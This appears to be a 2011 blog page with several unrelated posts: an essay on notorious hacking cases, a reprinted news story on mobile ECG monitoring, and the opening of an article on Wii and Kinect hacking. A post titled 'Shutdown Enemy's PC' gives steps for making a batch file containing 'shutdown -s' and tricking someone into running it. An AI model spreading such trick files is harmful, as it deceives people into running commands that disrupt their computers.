Tuesday, January 25, 2011

INTERNET HACKING

Two years ago, a fifteen-year-old boy logged onto the Internet under the alias 'Comrade'. To some of us, our idea of hacking might include breaking into an email account or viewing confidential company information. However, no one expected that 'Comrade' would cause a three-week shutdown at NASA, steal government email passwords, intercept over 3000 emails and download close to $2 million worth of software used to operate the international space station. If that was not shocking enough, he had twice gained access to the computers used by the Pentagon to monitor threats of nuclear and biological warfare.



Computer hacking has been around for as long as we can remember - certainly as long as we have had a World Wide Web.

Occasionally, the news speaks of silly pranks which imply nothing more than a temporary shutdown of a website, although 'Comrades' hack forced a three-week shutdown for repairs and cost the U.S. government $41,000.

Recently, the case of the hackers tampering with the CIA's website, changing the title to 'Central Stupidity Agency' and filling it with obscenities was merely a nuisance for the agency. It posed no real threat because the CIA's files are inaccessible via that Internet site.

Undoubtedly, there are some who see humour in this - a civilian, probably not even a professional, outwitting an elite US agency.

Then there are more serious crimes, which are no laughing matter.In one case of corporate espionage, two 'heavy manufacturing' firms were bidding on a $900 million contract; one outbid the other by a fraction of a percent.
This was no co-incidence as the losing company later discovered that someone had broken into the company's computer network and accessed files that contained bidding strategy information.

In another case, authorities are chasing an individual who regularly hires U.S. teens to access confidential documents. One young hacker was paid $1,000 - and promised $10,000 more - for stealing design documents for kitchen appliances from U.S. firms.

Beyond selling the trade secrets to a company's competition, some hackers resort to extortion of the company. In Sweden, a 15 and 17 year old tried to extort $2 million from a cellular company to destroy information they had illegally downloaded.

Like most cases of extortion, the criminal's identity is especially difficult to trace and is magnified because of the nature of the Net.

When the Internet was gaining immense popularity, businesses were scrambling to secure domain names and using the technology to expand their market. Seeing e-commerce as an untapped goldmine, many were eagerly diving headfirst into a slew of problems, including security breaches.

Companies like eBay, Buy.com, Yahoo! Amazon and Excite were not prepared when 'Mafiaboy' decided to strike. The 16-year-old Montreal teen crippled their sites last year when he bombarded them with thousands of simultaneous messages, preventing legitimate users from gaining access. His five-day tirade caused an estimated $1.7 billion in damages.

These malicious and insidious attacks threaten security and cost companies and organizations billions of dollars. A survey of the Fortune 1000 companies in 1999 estimates a loss of $45 billion from information theft.

Of course, many organizations are taking extra security measures, including the usage of firewalls (a security mechanism that allows limited access to sites from the Internet).

Still, hackers will gain access. If a fifteen year old can shutdown NASA, what hope is there?

Recently, Ernst & Young, a major consulting and accounting firm, set up computer labs across North America which allow information security consultants to perform 'ethical hacks' to assess the strengths and weaknesses of a client's networks and systems.

By using existing hacker tools, they're fighting fire with fire.
'Ethical hackers' are being paid thousands of dollars to provide clients with clear evidence of how vulnerable their networks are to attacks that could compromise their most sensitive information.

This is proving an effective way of gauging the level of security within a system.

Hacking has become so prevalent that it is almost synonymous with the computer subculture. This "computer geek" culture is portrayed on television (X-files, the Lone Gunmen) and in movies (Hackers, Anti-Trust) as cynical and often self-righteous.

With that, there is a sense of rebellion against big business; the proverbial David struggling against a corporate Goliath.
In many of these crimes, people do them to defy corporations or the government; money is not always the motive. However, it is an act that is still unacceptable that victimizes all who use the Internet.

Viruses, shutdowns, crashes and email hacking will be the burden of the user, a company's money lost to theft will be the burden of its customers and a government's money spent on security will be the burden of its citizens.

Is there anyone not affected by Internet crime? Nope.

Monday, January 24, 2011

knowledge pool.

Imec
and Holst Centre, together with
TASS software professionals have
developed a mobile heart
monitoring system that allows to
view your electrocardiogram on an
Android mobile phone. The
innovation is a low-power interface
that transmits signals from a
wireless ECG (electrocardiogram or
heart monitoring)-sensor system to
an android mobile phone.
With this interface, imec, Holst
Centre and TASS are the first to
demonstrate a complete Body
Area Network (BAN) connected
to a mobile phone enabling
reliable long-term ambulatory
monitoring of various health
parameters such as cardiac
performance (ECG), brain activity
(EEG), muscle activity (EMG), etc.
The system will be demonstrated
at the Wireless Health
Conference in San Diego (US,
October 5-7).
The aging population, combined
with the increasing need for
care and the rising costs of
healthcare has become a
challenge for our society. Mobile
health, which integrates mobile
computing technologies with
healthcare delivery systems, will
play a crucial role in solving this
problem by delivering a more
comfortable, more efficient and
more cost-efficient healthcare.
Body Area Networks (BAN) are
an essential component of
mHealth. BANs are miniaturized
sensor networks; consisting of
lightweight, ultra low-power,
wireless sensor nodes which
continuously monitor physical and
vital parameters. They provide
long-term monitoring, while
maintaining user mobility and
comfort. For example patients
who are no longer compelled to
stay in a hospital could be
monitored at home.
The newly-developed low-power
interface wirelessly transmits
bio-signals retrieved by imec and
Holst Centre's Human++ BAN
sensor nodes to an Android
mobile phone where the data
are collected, stored, processed,
and sent over the internet to
make them available for
authorized users such as a
physician. The interface is based
on a standard Secure Digital
Input Output (SDIO) interface on
Android mobile phones, enabling
the integration of all the
features available on Google's
operating system (SMS, e-mail
and data transmission over the
internet, GPS to track user
location).
Moreover, the mobile phone's
hardware is extended to
operate with low-power
communication protocols and
low-power radios, enabling long-
term medical telemonitoring. As
the interface is based on the
Linux kernel, the system is also
easily portable on other Linux-
based devices, such as PDA's or
laptops. And, the system allows
configuration of thresholds on
the measured parameters and
automatic sending of alerts such
as SMS messages and e-mails
based on these values.
Story Source:
The above story is reprinted
(with editorial adaptations by
ScienceDaily staff) from materials
provided by Interuniversity
Microelectronics Centre
(IMEC) , via AlphaGalileo.
Need to cite this story in your
essay, paper, or report? Use
one of the following formats:
Interuniversity Microelectronics
Centre (IMEC) (2010, October 11).
Monitoring your health with your
mobile phone. ScienceDaily.
Retrieved January 24, 2011,
from http://
www.sciencedaily.com /
releases/2010/10/101005085500.htm
Note: If no author is given, the
source is cited instead.
Disclaimer: This article is not
intended to provide medical
advice, diagnosis or treatment.
Views expressed here do not
necessarily reflect those of
ScienceDaily or its staff.
ECG signals wirelessly transmitted
to an Android mobile phone via a
low-power interface. (Credit:
Image courtesy of Interuniversity
Microelectronics Centre (IMEC))

Saturday, January 22, 2011

Shutdown Enemy's PC


Shutdown Enemy's Pc Forcefully ( trick ) ☺☺☺
Here Are also Other Virusin Next Post




SHUTDOWN ENEMY'S PC FORCEFULLY READ IT
ok guys EXCELLENT TRICK !!!!!!
with this trick u can make ur OPPONENT'S PC SHUTDOWN.
read CAREFULLLY its very easy and excellent.


SHUTDOWN OPPONENT'S PC FORCEFULLY.

how it runs- you make a shutdown exe and make ur enemy run.

and it happen in 4 EASY STEPS---->>

*************** START ****************


1)OPEN NOTEPAD

2)WRITE SHUTDOWN -S (SHUTDOWN(SPACEBAR)-S)

3)SAVE IT WITH NAME SHUTDOWN.BAT (BAT STANDS FOR BATCH FILE--NEED NOT TO GET INTO THIS CRAP JUST DO AS I ASK)

4)SEND THE SAVED FILE TO UR FRIEND AND ASK HIM TO RUN IT.(VIA ANY MASSENGER(YAHOO,MSN,IRC,EYEBALL,ETC ETC ETC ANYYYYY)OR EMAIL HIM THIS SAVED .BAT FILE.

***************THATS IT FINISHED***************


OK NOW AS SOON AS UR FRIEND OR ENEMY WILL RUN IT HIS PC WILL SHUTDOWN,WITH THE COUNTDOWN STARTING FROM 30 SEC
 

Hacking (Article)

step 1All about control

For many years, video game controllers were straightforward: push a joystick to move and hit a button to jump or fire. Successive generations of gaming consoles added more buttons, another joystick, and a d-pad or two, but for the most part gamers were still moving sticks around and pushing on buttons. The evolution of the peripheral had a slow and steady pace.

In 2006, Nintendo shook this up with its release of the Wii console. In addition to the buttons and joysticks, the controllers could also detect motion. So instead of button pushes for actions, gamers were mimicking what was happening on the screen. Swings of the controller became bowling, baseball, and even dancing. These intuitive controls enabled lots of non-gamers to play, even becoming popular with senior citizens, and pushed sales of the console past 70 million worldwide.

Two groups were paying close attention to the Wii: Microsoft and hackers. Microsoft saw the potential in freeing gamers from controllers and started the Kinect project, originally known as Project Natal. With the Kinect, a pair of cameras record video and depth and are able to combine the information to precisely see the player's body position. Now no controllers were needed at all and gamers could play just by moving around.

Meanwhile, hackers saw the Wii's controllers as wonderful tools that were dying to be put to use for things besides games, such as head-tracking, virtual whiteboards, and controlling a 15-ton robotic arm. One such hacker, Johnny Lee, made such cool use of the Wii that he was hired on by Microsoft for the Kinect.